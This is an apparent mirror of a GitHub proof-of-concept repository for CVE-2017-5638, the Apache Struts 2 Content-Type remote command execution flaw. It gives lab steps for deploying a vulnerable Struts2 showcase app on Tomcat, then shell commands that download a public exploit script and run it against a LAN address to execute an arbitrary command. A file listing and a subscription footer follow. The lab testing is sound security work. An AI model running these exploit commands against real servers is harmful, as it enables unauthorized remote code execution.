CVE-2017-5638 PoC — Apache Struts 2 输入验证错误漏洞

Source

https://github.com/sjitech/test_struts2_vulnerability_CVE-2017-5638

Associated Vulnerability

Title:Apache Struts 2 输入验证错误漏洞 (CVE-2017-5638)
Description:The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.

Description

test struts2 vulnerability CVE-2017-5638 in Mac OS X

Readme

# test_struts2_vulnerability_CVE-2017-5638_in_MAC_OS_X
test struts2 vulnerability CVE-2017-5638 in Mac OS X

###download test web app and run it in tomcat
```
#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run
```
confirm the web app by visit http://localhost:8080/struts2


###from another machine, run exploit script to get ability to run any command
```
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"
```


###go back to the web machine, check the file /tmp/yyy has been injected
```
cat /tmp/yyy
```

video: https://youtu.be/iQ_f-eG-EXg

File Snapshot


 [4.0K]  /data/pocs/e4e57c938df5db68350568303caade8cfbff2612
├── [1.1K]  LICENSE
├── [1.3K]  README.md
├── [ 940]  remote-code-exec.java
└── [4.0K]  struts2_test
    ├── [4.0K]  lib
    │   ├── [ 41K]  asm-commons.jar
    │   ├── [ 52K]  asm.jar
    │   ├── [ 28K]  asm-tree.jar
    │   ├── [ 67K]  commons-fileupload.jar
    │   ├── [170K]  commons-io.jar
    │   ├── [376K]  commons-lang.jar
    │   ├── [909K]  freemarker.jar
    │   ├── [600K]  javassist.jar
    │   ├── [223K]  ognl.jar
    │   ├── [807K]  struts2-core.jar
    │   └── [655K]  xwork-core.jar
    ├── [4.0K]  out
    │   ├── [4.0K]  artifacts
    │   │   └── [4.0K]  struts2_test_war_exploded
    │   │       ├── [ 223]  error.jsp
    │   │       ├── [ 525]  index.jsp
    │   │       ├── [ 244]  success.jsp
    │   │       └── [4.0K]  WEB-INF
    │   │           ├── [4.0K]  classes
    │   │           │   ├── [4.0K]  pkg
    │   │           │   │   └── [1.9K]  uploadFile.class
    │   │           │   └── [ 463]  struts.xml
    │   │           ├── [4.0K]  lib
    │   │           │   ├── [ 41K]  asm-commons.jar
    │   │           │   ├── [ 52K]  asm.jar
    │   │           │   ├── [ 28K]  asm-tree.jar
    │   │           │   ├── [ 67K]  commons-fileupload.jar
    │   │           │   ├── [170K]  commons-io.jar
    │   │           │   ├── [376K]  commons-lang.jar
    │   │           │   ├── [909K]  freemarker.jar
    │   │           │   ├── [600K]  javassist.jar
    │   │           │   ├── [223K]  ognl.jar
    │   │           │   ├── [807K]  struts2-core.jar
    │   │           │   └── [655K]  xwork-core.jar
    │   │           └── [ 605]  web.xml
    │   └── [4.0K]  production
    │       └── [4.0K]  struts2_test
    │           ├── [4.0K]  pkg
    │           │   └── [1.9K]  uploadFile.class
    │           └── [ 463]  struts.xml
    ├── [4.0K]  src
    │   ├── [4.0K]  pkg
    │   │   └── [1.3K]  uploadFile.java
    │   └── [ 463]  struts.xml
    ├── [1.2K]  struts2_test.iml
    └── [4.0K]  web
        ├── [ 223]  error.jsp
        ├── [ 525]  index.jsp
        ├── [ 244]  success.jsp
        └── [4.0K]  WEB-INF
            └── [ 605]  web.xml

16 directories, 40 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!